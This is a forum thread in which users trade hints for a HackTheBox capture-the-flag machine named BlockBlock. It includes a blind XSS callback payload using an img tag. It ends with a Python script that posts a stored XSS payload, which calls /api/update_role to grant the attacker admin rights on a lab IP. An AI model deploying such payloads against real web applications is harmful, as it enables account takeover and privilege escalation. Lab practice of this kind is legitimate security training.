Nov 17, 2024, 01:57 PM
|
BLOCKBLOCK - HTB
by osamy7593 - Saturday November 16, 2024 at 07:12 PM
|
|
Nov 17, 2024, 02:06 PM
(Nov 17, 2024, 01:57 PM)Shoseathe Wrote:(Nov 17, 2024, 01:16 PM)standby123 Wrote: I got callback from a bot in the backend when I add an img tag in the username input when reporting a user Yah I got hit 1% of the time, and the payload is just `<img src=http://ip>`
Nov 17, 2024, 03:41 PM
(Nov 17, 2024, 03:41 PM)olkn00b Wrote:(Nov 17, 2024, 03:23 PM)x1rx Wrote: cookies are HttpOnly , look for the other ways
Nov 17, 2024, 03:52 PM
(This post was last modified: Nov 17, 2024, 04:47 PM by 0x410x420x41.)
The correct way is to use the /api/update_role endpoint to update your user to admin role, however this box is veeery unstable... i am reseting it like 10 times now still no callback to the report-user... :/
To anyone stuck that do not receive a callback, use the box's IP directly to connect and not a virtual host (blockblock.htb) , this was my problem... now i am receiving it every time
Nov 17, 2024, 04:48 PM
I don't know any shit about cryptocurrency but after some reading, I think we have to find database contract address to be able to get users password since there no anything useful/usable in the chat contract
Nov 17, 2024, 05:03 PM
(Nov 17, 2024, 03:52 PM)0x410x420x41 Wrote: The correct way is to use the /api/update_role endpoint to update your user to admin role, however this box is veeery unstable... i am reseting it like 10 times now still no callback to the report-user... :/ did you manage to access /admin after change role? i got 401
Nov 17, 2024, 05:12 PM
(Nov 17, 2024, 05:03 PM)Unbutton8074 Wrote:(Nov 17, 2024, 03:52 PM)0x410x420x41 Wrote: The correct way is to use the /api/update_role endpoint to update your user to admin role, however this box is veeery unstable... i am reseting it like 10 times now still no callback to the report-user... :/ { "username": "asd", "type": "admin" } any hint on how you found the correct parameter?
Nov 17, 2024, 05:20 PM
(This post was last modified: Nov 17, 2024, 05:27 PM by 0x410x420x41.)
I was able to update it, however indeed i am getting 401 as well
``` import requests from time import sleep payload = "<img src=x onerror=\"fetch('/api/update_role', {method: 'POST', headers: { 'Content-Type': 'application/json'}, body: JSON.stringify({ 'username': 'hacker', 'role': 'admin'})})\" />" url = 'http://10.129.121.94' headers = { "Content-Type": "application/json" } s = requests.Session() print(f"Logging in and sending payload") r = s.post(f'{url}/api/login', headers=headers, json={"username": "hacker", "password": "hacker"}) print("Reporting user") r = s.post(f'{url}/api/report_user', headers=headers, json={ "username": payload }) print(r.status_code) print(r.text) ``` |
|
« Next Oldest | Next Newest »
|
| Possibly Related Threads… | |||||
| Thread | Author | Replies | Views | Last Post | |
| Hack the box Pro Labs, VIP, VIP+ 1 month free Method | 23 | 2,189 |
2 hours ago Last Post: kkkato |
||
| [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags | 20 | 2,495 |
Yesterday, 11:06 PM Last Post: op334 |
||
|
|
[FREE] HackTheBox All Cheatsheets | 3 | 398 |
Yesterday, 10:36 PM Last Post: op334 |
|
| [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired | 369 | 92,015 |
Yesterday, 04:10 PM Last Post: sabbyahmed |
||
| CBBH Write Ups | 22 | 6,229 |
Yesterday, 06:39 AM Last Post: Usercomplex |
||